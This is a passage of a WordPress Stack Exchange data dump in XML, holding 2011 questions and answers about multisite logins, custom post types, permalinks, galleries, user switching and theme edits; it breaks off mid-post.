  <row Id="24392" PostTypeId="2" ParentId="24382" CreationDate="2011-07-29T00:33:23.157" Score="1" ViewCount="" Body="&lt;p&gt;Yes it is still relevant, WordPress is very subject to query based attacks. It is more common and easier to attack bad plugins/themes, so even if your WordPress version is kept up to date, it's still a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a better plugin called Mute Screamer, it uses a central &lt;a href=&quot;https://phpids.org/&quot; rel=&quot;nofollow&quot;&gt;PHPIDS&lt;/a&gt; database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/mute-screamer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/mute-screamer/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-29T00:33:23.157" CommentCount="1" />
  <row Id="24393" PostTypeId="1" CreationDate="2011-07-29T00:40:06.363" Score="0" ViewCount="17" Body="&lt;p&gt;I have a Multi Site install that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;main.dev.domain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;testsite.dev.domain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dcdc.dev.domain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on main.dev.domain.com I can login as admin and do all the regular stuff (like change themes) but then when I go to the dashboards of the other sites, all I get is a login box where NOTHING works. I know in Network Admin I need to add the user to that domain and I've done that and the sites under &quot;users&quot; I see that user is enabled. However, when I go to testsite.dev.domain.com/wp-admin (the way to get to the dashboard of the site) I get a login box where no username and password work (not the one that I made when I setup the new site or admin which I enabled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this by design? I finally changed the theme but I had to do it in edit site/setting where there is a long list of options and I just pasted in the theme path in there somewhere.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditorDisplayName="" LastEditDate="2011-07-29T17:08:47.990" LastActivityDate="2011-07-29T17:08:47.990" Title="Why can't I login to my &quot;network sites&quot;?" Tags="&lt;multisite&gt;" />
  <row Id="24394" PostTypeId="1" CreationDate="2011-07-29T01:23:39.650" Score="-1" ViewCount="27" Body="&lt;p&gt;So I'm looking at the list of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference#Category.2C_Tag_and_Taxonomy_Functions&quot; rel=&quot;nofollow&quot;&gt;category functions&lt;/a&gt; and am trying to determine how to know which category I'm on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see my page here: &lt;a href=&quot;http://pcsreports.com/south-carolina/shaw-afb/neighborhoods/ginkgo-hills&quot; rel=&quot;nofollow&quot;&gt;http://pcsreports.com/south-carolina/shaw-afb/neighborhoods/ginkgo-hills&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've changed the behavior of my links, so rather than go to the individual post, it goes to the category for that neighborhood. When I'm on a neighborhood page I want to change the map so it shows driving directions, as well as remove the neighborhood name from the post titles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What function should I use to make sure I'm in a neighborhood category?&lt;/p&gt;&#xA;" OwnerUserId="6641" LastActivityDate="2011-07-29T15:37:07.233" Title="Determine current category" Tags="&lt;categories&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="24395" PostTypeId="2" ParentId="17643" CreationDate="2011-07-29T01:46:25.963" Score="0" ViewCount="" Body="&lt;p&gt;i already encountered the same problem, i solved it by adding this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;html{ margin-top:0px !important;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;put this in top of your css file..&lt;/p&gt;&#xA;" OwnerUserId="7440" LastActivityDate="2011-07-29T01:46:25.963" />
  <row Id="24396" PostTypeId="2" ParentId="15840" CreationDate="2011-07-29T04:22:21.340" Score="2" ViewCount="" Body="&lt;p&gt;this plugin changes post types:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/post-type-switcher/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/post-type-switcher/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i think this one works more in bulk&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/convert-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/convert-post-types/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-29T04:22:21.340" />
  <row Id="24399" PostTypeId="1" CreationDate="2011-07-29T05:09:55.430" Score="0" ViewCount="14" Body="&lt;p&gt;How do I get subscribed users to be able to fill out the details on this page and save changes? Each user would have their own data for the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how do I keep the buttons showing on subscriber accounts but remove the buttons for regular unsubscribed readers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://agreatdream.com/movies777/&quot; rel=&quot;nofollow&quot;&gt;http://agreatdream.com/movies777/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Glen&lt;/p&gt;&#xA;" OwnerUserId="7442" LastActivityDate="2011-07-29T05:09:55.430" Title="How do I get subscribed users to be able to fill out the details on this page and save changes?" Tags="&lt;users&gt;&lt;save&gt;" />
  <row Id="24400" PostTypeId="1" CreationDate="2011-07-29T05:16:42.233" Score="0" ViewCount="11" Body="&lt;p&gt;I was blogging in a subdomain site (http://blog.domain.com) for last 7 years, recently had to change to main domain (http://domain.com) for some personal reasons (a whole lot of story on that side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that, all articles and settings from old &quot;blog&quot; site has been imported to the new site, now how can I redirect the URLs of all the articles. There are many plugins to do that, but I don't know which is the best. &#xA;So, if there is a way to redirect all articles from old blog URIs&#xA;&lt;code&gt;http://blog.domain.com/&amp;lt;post-id&amp;gt;/&amp;lt;post-name&amp;gt;.html&lt;/code&gt;&#xA;to the new site URIs ie&#xA;&lt;code&gt;http://domain.com/&amp;lt;category&amp;gt;/&amp;lt;post-name&amp;gt;.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be achieved using .htaccess? But I would be comfortable using a plugin as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6220" LastActivityDate="2011-07-29T05:16:42.233" Title="Blog changed from subdomain to main domain URL issues" Tags="&lt;plugins&gt;&lt;url-rewriting&gt;&lt;htaccess&gt;" />
  <row Id="24401" PostTypeId="1" AcceptedAnswerId="24406" CreationDate="2011-07-29T05:58:26.210" Score="0" ViewCount="35" Body="&lt;p&gt;I have 2 kinds of users...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both uses custom form for registeration....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is parent user and another is child users. Parent user can register and then login and create child users. I have also given interface in theme where parents can manage child users data created by them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically site is based on article for childs helping them in education and question answer....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want to do is when parent is login , i have list of his child users, want to give link like Login as child, on click of which parent gets logout and get logged in as child using child credential...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips/suggestion how to achive logout and login as different user using script... &lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-29T08:30:27.047" Title="To be able to login as different user" Tags="&lt;login&gt;" AnswerCount="2" />
  <row Id="24402" PostTypeId="1" CreationDate="2011-07-29T06:21:19.047" Score="1" ViewCount="40" Body="&lt;p&gt;I created a custom post type for my blog, to allow easier separation of content. This new post type supports different post formats, but most of them will be galleries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('atelier',&#xA;    array(&#xA;    'label' =&amp;gt; 'L\'Atelier',&#xA;    'public' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array('title', 'editor', 'post-formats')&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw that it is possible in Settings -&gt; Writing to set the default post format for posts, is it possible to do the same for my newly created post type?&lt;/p&gt;&#xA;" OwnerUserId="7443" LastActivityDate="2011-07-29T10:30:30.547" Title="How to set a default format for a custom post type?" Tags="&lt;custom-post-types&gt;&lt;post-formats&gt;&lt;default&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24403" PostTypeId="1" CreationDate="2011-07-29T06:37:37.870" Score="2" ViewCount="38" Body="&lt;p&gt;I have a php/mysql based site with users segregated into different groups... i want to add blogging system to it so that each group has its own blog which can be authored by users who are designated to administer that group and can be read by each user of that group... how can this be done?&lt;/p&gt;&#xA;" OwnerUserId="7444" LastActivityDate="2011-08-29T14:36:28.343" Title="Add a wordpress blog to my website having users" Tags="&lt;categories&gt;&lt;admin&gt;&lt;users&gt;&lt;user-access&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="24405" PostTypeId="2" ParentId="24401" CreationDate="2011-07-29T07:45:40.287" Score="1" ViewCount="" Body="&lt;p&gt;Try this plugin. &lt;a href=&quot;http://wordpress.org/extend/plugins/user-switching/screenshots/&quot; rel=&quot;nofollow&quot;&gt;User Switching&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-29T07:45:40.287" />
  <row Id="24406" PostTypeId="2" ParentId="24401" CreationDate="2011-07-29T08:30:27.047" Score="1" ViewCount="" Body="&lt;p&gt;To login as a user you just need the target user ID and these two functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_set_current_user( $user_id );&#xA;wp_set_auth_cookie( $user_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do this mid-page, make sure you refresh it to reflect the changes.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-07-29T08:30:27.047" />
  <row Id="24407" PostTypeId="2" ParentId="22178" CreationDate="2011-07-29T09:25:49.783" Score="0" ViewCount="" Body="&lt;p&gt;In the end I went with the plugin from addthis.com which can be customised to work with +1.&lt;/p&gt;&#xA;" OwnerUserId="4661" LastActivityDate="2011-07-29T09:25:49.783" />
  <row Id="24408" PostTypeId="1" AcceptedAnswerId="24424" CreationDate="2011-07-29T09:53:37.977" Score="1" ViewCount="27" Body="&lt;p&gt;I'm planning on using WordPress to create an arcive of my starred/shared/favourited items on a few services, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Twitter Favourites &lt;/li&gt;&#xA;&lt;li&gt;YouTube Favourites&lt;/li&gt;&#xA;&lt;li&gt;Google Reader Starred Items&lt;/li&gt;&#xA;&lt;li&gt;Stack Overflow Starred Questions&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As the data for each type is different, eg video/article/short text what would be the best way of doing this?  Would a custom post type or format for each type be the best way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or does anyone have any suggestions for any themes or plugins which work in a similar way to save me doing all of this from scratch?&lt;/p&gt;&#xA;" OwnerUserId="110" LastActivityDate="2011-07-29T13:13:00.083" Title="WordPress As A Shared Items Collection" Tags="&lt;custom-post-types&gt;&lt;plugin-recommendation&gt;&lt;post-formats&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24409" PostTypeId="2" ParentId="24402" CreationDate="2011-07-29T10:30:30.547" Score="-3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_action('init', 'custom_post_types_register');&#xA;&#xA;function custom_post_types_register() {&#xA;    $args = array(&#xA;        'label' =&amp;gt; __('Info Centre'),&#xA;        'singular_label' =&amp;gt; __('Info Centre'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;information-centre&quot;,'with_front' =&amp;gt; true), // Permalinks format&#xA;        'supports' =&amp;gt; array( 'title', 'editor', 'excerpt', 'custom-fields', 'thumbnail', 'page-attributes' ),&#xA;        'add_new' =&amp;gt; __( 'Add New' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Info' ),&#xA;        'edit' =&amp;gt; __( 'Edit' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Info' ),&#xA;        'new_item' =&amp;gt; __( 'New Info' ),&#xA;        'view' =&amp;gt; __( 'View Info' ),&#xA;        'view_item' =&amp;gt; __( 'View Info' ),&#xA;        'search_items' =&amp;gt; __( 'Search Info Centre' ),&#xA;        'not_found' =&amp;gt; __( 'No info found' ),&#xA;        'not_found_in_trash' =&amp;gt; __( 'No info found in Trash' ),&#xA;        'parent' =&amp;gt; __( 'Parent Info' ),&#xA;        'menu_position' =&amp;gt;__( 20 ),&#xA;//      'menu_icon' =&amp;gt;__( get_stylesheet_directory_uri() . '/assets/images/admin/info-centre-icon.png' ),&#xA;       );&#xA;&#xA;    register_post_type( 'info' , $args );&#xA;&#xA;    $args2 = array(&#xA;        'label' =&amp;gt; __('Services'),&#xA;        'singular_label' =&amp;gt; __('Services'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;services&quot;,'with_front' =&amp;gt; true), // Permalinks format&#xA;        'supports' =&amp;gt; array( 'title', 'editor', 'excerpt', 'custom-fields', 'thumbnail', 'page-attributes' ),&#xA;        'add_new' =&amp;gt; __( 'Add New' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Service' ),&#xA;        'edit' =&amp;gt; __( 'Edit' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Service' ),&#xA;        'new_item' =&amp;gt; __( 'New Service' ),&#xA;        'view' =&amp;gt; __( 'View Service' ),&#xA;        'view_item' =&amp;gt; __( 'View Service' ),&#xA;        'search_items' =&amp;gt; __( 'Search Services' ),&#xA;        'not_found' =&amp;gt; __( 'No service found' ),&#xA;        'not_found_in_trash' =&amp;gt; __( 'No service found in Trash' ),&#xA;        'parent' =&amp;gt; __( 'Parent Service' ),&#xA;        'menu_position' =&amp;gt;__( 21 ),&#xA;//      'menu_icon' =&amp;gt;__( get_stylesheet_directory_uri() . '/assets/images/admin/services-icon.png' ),&#xA;       );&#xA;&#xA;    register_post_type( 'services' , $args2 );&#xA;&#xA;    $args3 = array(&#xA;        'label' =&amp;gt; __('Agencies'),&#xA;        'singular_label' =&amp;gt; __('Agencies'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;agencies&quot;,'with_front' =&amp;gt; true), // Permalinks format&#xA;        'supports' =&amp;gt; array( 'title', 'editor', 'excerpt', 'custom-fields', 'thumbnail', 'page-attributes' ),&#xA;        'add_new' =&amp;gt; __( 'Add New' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Agencies' ),&#xA;        'edit' =&amp;gt; __( 'Edit' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Agencies' ),&#xA;        'new_item' =&amp;gt; __( 'New Agencies' ),&#xA;        'view' =&amp;gt; __( 'View Agencies' ),&#xA;        'view_item' =&amp;gt; __( 'View Agencies' ),&#xA;        'search_items' =&amp;gt; __( 'Search Agencies' ),&#xA;        'not_found' =&amp;gt; __( 'No agencies found' ),&#xA;        'not_found_in_trash' =&amp;gt; __( 'No agencies found in Trash' ),&#xA;        'parent' =&amp;gt; __( 'Parent Agencies' ),&#xA;        'menu_position' =&amp;gt;__( 22 ),&#xA;//      'menu_icon' =&amp;gt;__( get_stylesheet_directory_uri() . '/assets/images/admin/services-icon.png' ),&#xA;       );&#xA;&#xA;    register_post_type( 'agencies' , $args3 );&#xA;&#xA;    $args4 = array(&#xA;        'label' =&amp;gt; __('Contact'),&#xA;        'singular_label' =&amp;gt; __('Contact'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;contact&quot;,'with_front' =&amp;gt; true), // Permalinks format&#xA;        'supports' =&amp;gt; array( 'title', 'editor', 'excerpt', 'custom-fields', 'thumbnail', 'page-attributes' ),&#xA;        'add_new' =&amp;gt; __( 'Add New' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Contact' ),&#xA;        'edit' =&amp;gt; __( 'Edit' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Contact' ),&#xA;        'new_item' =&amp;gt; __( 'New Contact' ),&#xA;        'view' =&amp;gt; __( 'View Contact' ),&#xA;        'view_item' =&amp;gt; __( 'View Contact' ),&#xA;        'search_items' =&amp;gt; __( 'Search Contact' ),&#xA;        'not_found' =&amp;gt; __( 'No contact found' ),&#xA;        'not_found_in_trash' =&amp;gt; __( 'No contact found in Trash' ),&#xA;        'parent' =&amp;gt; __( 'Parent Contact' ),&#xA;        'menu_position' =&amp;gt;__( 23 ),&#xA;//      'menu_icon' =&amp;gt;__( get_stylesheet_directory_uri() . '/assets/images/admin/services-icon.png' ),&#xA;       );&#xA;&#xA;    register_post_type( 'contact' , $args4 );&#xA;&#xA;    $args5 = array(&#xA;        'label' =&amp;gt; __('Mentoring'),&#xA;        'singular_label' =&amp;gt; __('Mentoring'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;mentoring&quot;,'with_front' =&amp;gt; true), // Permalinks format&#xA;        'supports' =&amp;gt; array( 'title', 'editor', 'excerpt', 'custom-fields', 'thumbnail', 'page-attributes' ),&#xA;        'add_new' =&amp;gt; __( 'Add New' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Mentoring' ),&#xA;        'edit' =&amp;gt; __( 'Edit' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Mentoring' ),&#xA;        'new_item' =&amp;gt; __( 'New Mentoring' ),&#xA;        'view' =&amp;gt; __( 'View Mentoring' ),&#xA;        'view_item' =&amp;gt; __( 'View Mentoring' ),&#xA;        'search_items' =&amp;gt; __( 'Search Mentoring' ),&#xA;        'not_found' =&amp;gt; __( 'No Mentoring found' ),&#xA;        'not_found_in_trash' =&amp;gt; __( 'No Mentoring found in Trash' ),&#xA;        'parent' =&amp;gt; __( 'Parent Mentoring' ),&#xA;        'menu_position' =&amp;gt;__( 24 ),&#xA;//      'menu_icon' =&amp;gt;__( get_stylesheet_directory_uri() . '/assets/images/admin/services-icon.png' ),&#xA;       );&#xA;&#xA;    register_post_type( 'mentoring' , $args5 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shoul help You&lt;/p&gt;&#xA;" OwnerUserId="7448" LastActivityDate="2011-07-29T10:30:30.547" CommentCount="2" />
  <row Id="24410" PostTypeId="2" ParentId="21402" CreationDate="2011-07-29T10:32:31.717" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress for the most part has this built in (since wordpress 2.5). It just may take some effort to figure out how this works. This function or feature is known as their &lt;a href=&quot;http://codex.wordpress.org/Gallery_Shortcode&quot; rel=&quot;nofollow&quot;&gt;&quot;gallery&quot;&lt;/a&gt;. There's a healthy codex on this subject as well that does what you describe in your link provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested in the plugin route. Wordpress has a great codex page devoted to this : &lt;a href=&quot;http://codex.wordpress.org/Photoblogs_and_Galleries&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Photoblogs_and_Galleries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page has a whole list of current plugins that will let you publish photogalleries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One notable plugin is as Martin described: &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;Nextgen Gallery Plugin&lt;/a&gt;. It's very elegant and well done and it's sole best ability is to display many photos:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/jDMeU.jpg&quot; alt=&quot;Next gen gallery Plugin Template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With nextgen, it might be overkill because it purely offers too many options. Looking at your example i would recommend just using Wordpress' core gallery functionality. It does a good enough job. You just have to style your &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Attachment_display&quot; rel=&quot;nofollow&quot;&gt;attachment template&lt;/a&gt; or find a theme that does that well.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-07-29T12:01:31.707" LastActivityDate="2011-07-29T12:01:31.707" />
  <row Id="24411" PostTypeId="2" ParentId="21402" CreationDate="2011-07-29T10:40:58.443" Score="1" ViewCount="" Body="&lt;p&gt;Most of these requirements can be met natively by the WordPress Photo Gallery as Chris J. Lee mentions, with maybe one plugin, such as &lt;a href=&quot;http://wordpress.org/extend/plugins/fancybox-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Fancybox for WordPress&lt;/a&gt;, to handle the larger image popup if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otto wrote a &lt;a href=&quot;http://ottopress.com/2011/photo-gallery-primer/&quot; rel=&quot;nofollow&quot;&gt;great post on the WP Photo Gallery&lt;/a&gt;, which is probably the most in depth explanation of it I have come across. If you're not afraid to get your hands dirty in some themeing then I would recommend going this route. It's one less plugin to load and you can learn about a new part of WP that is rarely mentioned.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2011-07-29T10:40:58.443" CommentCount="1" />
  <row Id="24412" PostTypeId="1" AcceptedAnswerId="24420" CreationDate="2011-07-29T10:41:34.450" Score="-1" ViewCount="43" Body="&lt;p&gt;get_page() unlike Loop returns the post content without html tags. I need tags. How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to change wysiwyg editor, here is the bad solution &lt;a href=&quot;http://wordpress.org/support/topic/preserve-html-with-get_pages&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/preserve-html-with-get_pages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5645" LastEditorUserId="5645" LastEditorDisplayName="" LastEditDate="2011-07-29T23:01:17.830" LastActivityDate="2011-07-29T23:01:17.830" Title="get_page() unlike Loop returns the post content without html tags. How can I fix this?" Tags="&lt;loop&gt;&lt;tags&gt;&lt;html&gt;&lt;get-page&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24413" PostTypeId="2" ParentId="24403" CreationDate="2011-07-29T10:47:02.257" Score="0" ViewCount="" Body="&lt;p&gt;Is that &quot;php/mysql based site&quot; a self-done script or do you use a finished software. In the latter case, there maybe exists a connector to Wordpress. But Wordpress isn't really pluggable into other CMS'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other way I can think of, is into &quot;fooling&quot; Wordpress, by replacing its user tables (using the same database as your website) with views of your user-tables. SO it really works on your users, with their respective rights, while all blogging content would be saved to Wordpress' own tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, using Wordpress itself as a CMS, and then also using its blogging-features would be the &quot;best&quot; way (if you have a chance to change your underlying system and migrate all the old pages to Wordpress).&lt;/p&gt;&#xA;" OwnerUserId="7089" LastActivityDate="2011-07-29T10:47:02.257" />
  <row Id="24415" PostTypeId="2" ParentId="10391" CreationDate="2011-07-29T11:35:56.050" Score="1" ViewCount="" Body="&lt;p&gt;The problem I think you are having is that WordPress doesn't touch its built in tags such as date and postname when you are using custom post types.  Try using this code, which is found &lt;a href=&quot;http://shibashake.com/wordpress-theme/custom-post-type-permalinks-part-2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ Add filter to plugin init function&#xA;add_filter('post_type_link', 'translate_permalink', 10, 3); &#xA;// Adapted from get_permalink function in wp-includes/link-template.php&#xA;function translate_permalink($permalink, $post_id, $leavename) {&#xA;    $post = get_post($post_id);&#xA;    $rewritecode = array(&#xA;        '%year%',&#xA;        '%monthnum%',&#xA;        '%day%',&#xA;        '%hour%',&#xA;        '%minute%',&#xA;        '%second%',&#xA;        $leavename? '' : '%postname%',&#xA;        '%post_id%',&#xA;        '%category%',&#xA;        '%author%',&#xA;        $leavename? '' : '%pagename%',&#xA;    );&#xA;&#xA;    if ( '' != $permalink &amp;amp;&amp;amp; !in_array($post-&amp;gt;post_status, array('draft', 'pending', 'auto-draft')) ) {&#xA;        $unixtime = strtotime($post-&amp;gt;post_date);&#xA;&#xA;        $category = '';&#xA;        if ( strpos($permalink, '%category%') !== false ) {&#xA;            $cats = get_the_category($post-&amp;gt;ID);&#xA;            if ( $cats ) {&#xA;                usort($cats, '_usort_terms_by_ID'); // order by ID&#xA;                $category = $cats[0]-&amp;gt;slug;&#xA;                if ( $parent = $cats[0]-&amp;gt;parent )&#xA;                    $category = get_category_parents($parent, false, '/', true) . $category;&#xA;            }&#xA;            // show default category in permalinks, without&#xA;            // having to assign it explicitly&#xA;            if ( empty($category) ) {&#xA;                $default_category = get_category( get_option( 'default_category' ) );&#xA;                $category = is_wp_error( $default_category ) ? '' : $default_category-&amp;gt;slug;&#xA;            }&#xA;        }&#xA;&#xA;        $author = '';&#xA;        if ( strpos($permalink, '%author%') !== false ) {&#xA;            $authordata = get_userdata($post-&amp;gt;post_author);&#xA;            $author = $authordata-&amp;gt;user_nicename;&#xA;        }&#xA;&#xA;        $date = explode(&quot; &quot;,date('Y m d H i s', $unixtime));&#xA;        $rewritereplace =&#xA;        array(&#xA;            $date[0],&#xA;            $date[1],&#xA;            $date[2],&#xA;            $date[3],&#xA;            $date[4],&#xA;            $date[5],&#xA;            $post-&amp;gt;post_name,&#xA;            $post-&amp;gt;ID,&#xA;            $category,&#xA;            $author,&#xA;            $post-&amp;gt;post_name,&#xA;        );&#xA;        $permalink = str_replace($rewritecode, $rewritereplace, $permalink);&#xA;    } else { // if they're not using the fancy permalink option&#xA;    }&#xA;    return $permalink;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a filter that is normally built in and called into Wordpress when dealing with posts but doesn't get called for custom post types.  Basically, it handles tags that are used with permalinks.  This code should let you use dates for your CPT.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-07-29T11:35:56.050" />
  <row Id="24416" PostTypeId="1" AcceptedAnswerId="24418" CreationDate="2011-07-29T11:46:36.020" Score="0" ViewCount="75" Body="&lt;p&gt;I have made a custom post type for a child theme. I removed &quot;thumbnail&quot; from the supports array in functions.php and that prevents a featured image meta box from being displayed. However, when in the &quot;add an image&quot; modal dialogue thing, there is still a &quot;Use as featured image&quot; link. Why, oh why? More to the point, does anyone know how to remove?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;remove_post_type_support( 'itinerary', 'post-thumbnail' ); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;...where itinerary is the name of my custom post type. Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steve&lt;/p&gt;&#xA;" OwnerUserId="7450" LastActivityDate="2011-07-29T12:12:56.187" Title="How to remove &quot;featured image&quot; functionality from a custom post type?" Tags="&lt;custom-post-types&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="24417" PostTypeId="1" CreationDate="2011-07-29T11:48:13.070" Score="0" ViewCount="42" Body="&lt;p&gt;I'm hacking around with a blog using Cordobo Green Park and I've noticed when I specify a custom  title, instead of it beginning with a &lt;code&gt;»&lt;/code&gt; symbol (as it does for the standard &quot;&lt;em&gt;» Read more: [POSTTITLE]&lt;/em&gt;&quot;) the custom message is simply shown without any prepended character. It's a shame, because the » character would be nice to include for visual consistency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;./themes/cordobo/index.php&lt;/code&gt; (lines 28-30) there's this piece of code which I think handles the  tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;   &amp;lt;?php the_content((__( '&amp;amp;raquo; Read more: ', 'default')) . the_title('', '', false)); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which differs from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;the Codex example&lt;/a&gt; with no 'default' second variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_content(&quot;Continue reading &quot; . the_title('', '', false)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Never mind my puzzlement over the &lt;code&gt;__(&lt;/code&gt; after the initial double opening brackets (the Codex doesn't really have anything of help to me for explaining this - any takers?)&lt;/em&gt; ... I just can't figure out how to simply prepend the &lt;code&gt;»&lt;/code&gt; character to custom &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just tying myself in knots here, but I 